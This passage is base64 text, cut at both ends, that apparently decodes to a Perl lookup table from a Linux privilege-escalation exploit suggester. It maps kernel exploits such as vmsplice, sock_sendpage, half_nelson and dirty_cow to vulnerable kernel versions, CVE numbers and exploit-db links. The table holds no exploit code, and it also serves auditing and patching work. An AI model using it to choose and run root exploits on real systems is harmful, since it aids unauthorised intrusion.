QuMjcnLCAnMi40LjI5JyBdCiAgICB9LAogICAgJ25ld3NtcCcgICA9PiB7IHZ1bG4gPT4gWycyLjYnXSB9LAogICAgJ3NtcHJhY2VyJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAogICAgJ2xvZ2lueCcgICA9PiB7IHZ1bG4gPT4gWycyLjQuMjInXSB9LAogICAgJ2V4cC5zaCcgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjEwJywgJzIuNi4xNicsICcyLjYuMTMnIF0gfSwKICAgICd2bXNwbGljZTEnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICAgICAgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI0LjEnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdqZXNzaWNhIGJpZWwnLAogICAgICAgIGN2ZSA9PiAnMjAwOC0wNjAwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MicsCiAgICB9LAogICAgJ3Ztc3BsaWNlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjIzJywgJzIuNi4yNCcgXSwKICAgICAgICBhbHQgID0+ICdkaWFuZV9sYW5lJywKICAgICAgICBjdmUgID0+ICcyMDA4LTA2MDAnLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MycsCiAgICB9LAogICAgJ3Zjb25zb2xlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNiddLAogICAgICAgIGN2ZSAgPT4gJzIwMDktMTA0NicsCiAgICB9LAogICAgJ3NjdHAnID0+IHsKICAgICAgICB2dWxuID0+IFsnMi42LjI2J10sCiAgICAgICAgY3ZlICA9PiAnMjAwOC00MTEzJywKICAgIH0sCiAgICAnZnRyZXgnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAwOC00MjEwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNjg1MScsCiAgICB9LAogICAgJ2V4aXRfbm90aWZ5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy84MzY5JywKICAgIH0sCiAgICAndWRldicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScgXSwKICAgICAgICBhbHQgID0+ICd1ZGV2IDwxLjQuMScsCiAgICAgICAgY3ZlICA9PiAnMjAwOS0xMTg1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvODQ3OCcsCiAgICB9LAoKICAgICdzb2NrX3NlbmRwYWdlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjAnLCAgJzIuNi4xJywKICAgICAgICAgICAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywgICcyLjYuNicsICAnMi42LjcnLAogICAgICAgICAgICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsICcyLjYuMTMnLAogICAgICAgICAgICAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywgJzIuNi4xOCcsICcyLjYuMTknLAogICAgICAgICAgICAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLAogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ3Byb3RvX29wcycsCiAgICAgICAgY3ZlID0+ICcyMDA5LTI2OTInLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy85NDM2JywKICAgIH0sCgogICAgJ3NvY2tfc2VuZHBhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNC40JywgICcyLjQuNScsICAnMi40LjYnLCAgJzIuNC43JywgICcyLjQuOCcsICAnMi40LjknLAogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xMScsICcyLjQuMTInLCAnMi40LjEzJywgJzIuNC4xNCcsICcyLjQuMTUnLAogICAgICAgICAgICAnMi40LjE2JywgJzIuNC4xNycsICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLAogICAgICAgICAgICAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnLCAnMi40LjI1JywgJzIuNC4yNicsICcyLjQuMjcnLAogICAgICAgICAgICAnMi40LjI4JywgJzIuNC4yOScsICcyLjQuMzAnLCAnMi40LjMxJywgJzIuNC4zMicsICcyLjQuMzMnLAogICAgICAgICAgICAnMi40LjM0JywgJzIuNC4zNScsICcyLjQuMzYnLCAnMi40LjM3JywgJzIuNi4wJywgICcyLjYuMScsCiAgICAgICAgICAgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsICAnMi42LjYnLCAgJzIuNi43JywKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywKICAgICAgICAgICAgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywKICAgICAgICAgICAgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI1JywKICAgICAgICAgICAgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICd3dW5kZXJiYXJfZW1wb3JpdW0nLAogICAgICAgIGN2ZSA9PiAnMjAwOS0yNjkyJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvOTQzNScsCiAgICB9LAogICAgJ3VkcF9zZW5kbXNnXzMyYml0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLCAgJzIuNi42JywKICAgICAgICAgICAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLCAnMi42LjEyJywKICAgICAgICAgICAgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLCAnMi42LjE4JywKICAgICAgICAgICAgJzIuNi4xOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMjY5OCcsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL2Rvd25sb2Fkcy5zZWN1cml0eWZvY3VzLmNvbS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvMzYxMDguYycsCiAgICB9LAogICAgJ3BpcGUuY18zMmJpdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjE1JywgJzIuNi4xNicsCiAgICAgICAgICAgICcyLjYuMTcnLCAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsCiAgICAgICAgICAgICcyLjYuMjMnLCAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMzU0NycsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy8zNjkwMS0xLmMnLAogICAgfSwKICAgICdkb19wYWdlc19tb3ZlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnc2lldmUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0wNDE1JywKICAgICAgICBtaWwgPT4gJ1NwZW5kZXJzIEVubGlnaHRlbm1lbnQnLAogICAgfSwKICAgICdyZWlzZXJmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMTE0NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEyMTMwJywKICAgIH0sCiAgICAnY2FuX2JjbScgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC0yOTU5JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTQ4MTQnLAogICAgfSwKICAgICdyZHMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgICAgICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTUyODUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zOTA0JywKICAgIH0sCiAgICAnaGFsZl9uZWxzb24xJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywKICAgICAgICAgICAgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ2Vjb25ldCcsCiAgICAgICAgY3ZlID0+ICcyMDEwLTM4NDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNzc4NycsCiAgICB9LAogICAgJ2hhbGZfbmVsc29uMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdlY29uZXQnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zODUwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTc3ODcnLAogICAgfSwKICAgICdoYWxmX25lbHNvbjMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnZWNvbmV0JywKICAgICAgICBjdmUgPT4gJzIwMTAtNDA3MycsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE3Nzg3JywKICAgIH0sCiAgICAnY2Fwc190b19yb290JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicgXSwKICAgICAgICBjdmUgID0+ICduL2EnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTkxNicsCiAgICB9LAogICAgJ2FtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC00MzQ3JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYmlkLzQ1NDA4JywKICAgIH0sCiAgICAncGt0Y2R2ZCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEwLTM0MzcnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTE1MCcsCiAgICB9LAogICAgJ3ZpZGVvNGxpbnV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMzA4MScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE1MDI0JywKICAgIH0sCiAgICAnbWVtb2RpcHBlcicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjM5JywgJzMuMC4wJywgJzMuMC4xJywgJzMuMC4yJywgJzMuMC4zJywgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTItMDA1NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE4NDExJywKICAgIH0sCiAgICAnc2VtdGV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMzcnLCAnMi42LjM4JywgJzIuNi4zOScsICczLjAuMCcsICczLjAuMScsICczLjAuMicsCiAgICAgICAgICAgICczLjAuMycsICAnMy4wLjQnLCAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI1NDQ0JywKICAgIH0sCiAgICAncGVyZl9zd2V2ZW50JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICczLjAuMCcsICczLjAuMScsICczLjAuMicsICczLjAuMycsICczLjAuNCcsICczLjAuNScsCiAgICAgICAgICAgICczLjAuNicsICczLjEuMCcsICczLjIuMCcsICczLjMuMCcsICczLjQuMCcsICczLjQuMScsCiAgICAgICAgICAgICczLjQuMicsICczLjQuMycsICczLjQuNCcsICczLjQuNScsICczLjQuNicsICczLjQuOCcsCiAgICAgICAgICAgICczLjQuOScsICczLjUuMCcsICczLjYuMCcsICczLjcuMCcsICczLjguMCcsICczLjguMScsCiAgICAgICAgICAgICczLjguMicsICczLjguMycsICczLjguNCcsICczLjguNScsICczLjguNicsICczLjguNycsCiAgICAgICAgICAgICczLjguOCcsICczLjguOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI2MTMxJywKICAgIH0sCiAgICAnbXNyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgICAgICcyLjYuMzUnLCAnMi42LjM2JywgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMC4wJywKICAgICAgICAgICAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgICczLjAuNScsICAnMy4wLjYnLAogICAgICAgICAgICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLCAgJzMuNS4wJywgICczLjYuMCcsCiAgICAgICAgICAgICczLjcuMCcsICAnMy43LjYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEzLTAyNjgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yNzI5NycsCiAgICB9LAogICAgJ3RpbWVvdXRwd24nID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuNC4wJywgICczLjUuMCcsICAnMy42LjAnLCAgJzMuNy4wJywgICczLjguMCcsICAnMy44LjknLCAKICAgICAgICAgICAgJzMuOS4wJywgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC41JywgICczLjguNicsICAKICAgICAgICAgICAgJzMuOC45JywgICczLjkuMCcsICAnMy45LjYnLCAgJzMuMTAuMCcsICczLjEwLjYnLCAnMy4xMS4wJywKICAgICAgICAgICAgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xMy4xJwogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDE0LTAwMzgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8zMTM0NicsCiAgICB9LAogICAgJ3Jhd21vZGVQVFknID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLCAnMi42LjM2JywKICAgICAgICAgICAgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMTQuMCcsICczLjE1LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTQtMDE5NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vcGFja2V0c3Rvcm1zZWN1cml0eS5jb20vZmlsZXMvZG93bmxvYWQvMTI2NjAzL2N2ZS0yMDE0LTAxOTYtbWQuYycsCiAgICB9LAogICAgJ292ZXJsYXlmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMy4xMy4wJywgJzMuMTYuMCcsICczLjE5LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTUtODY2MCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5MjMwJywKICAgIH0sCiAgICAncHBfa2V5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCgkJCSczLjQuMCcsICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC4xJywgIAogICAgICAgICAgICAnMy44LjInLCAgJzMuOC4zJywgICczLjguNCcsICAnMy44LjUnLCAgJzMuOC42JywgICczLjguNycsICAKICAgICAgICAgICAgJzMuOC44JywgICczLjguOScsICAnMy45LjAnLCAgJzMuOS42JywgICczLjEwLjAnLCAnMy4xMC42JywgCiAgICAgICAgICAgICczLjExLjAnLCAnMy4xMi4wJywgJzMuMTMuMCcsICczLjEzLjEnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtMDcyOCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5Mjc3JywKICAgIH0sCiAgICAnZGlydHlfY293JyA9PiB7CiAgICAgICAgdnVsbiA9P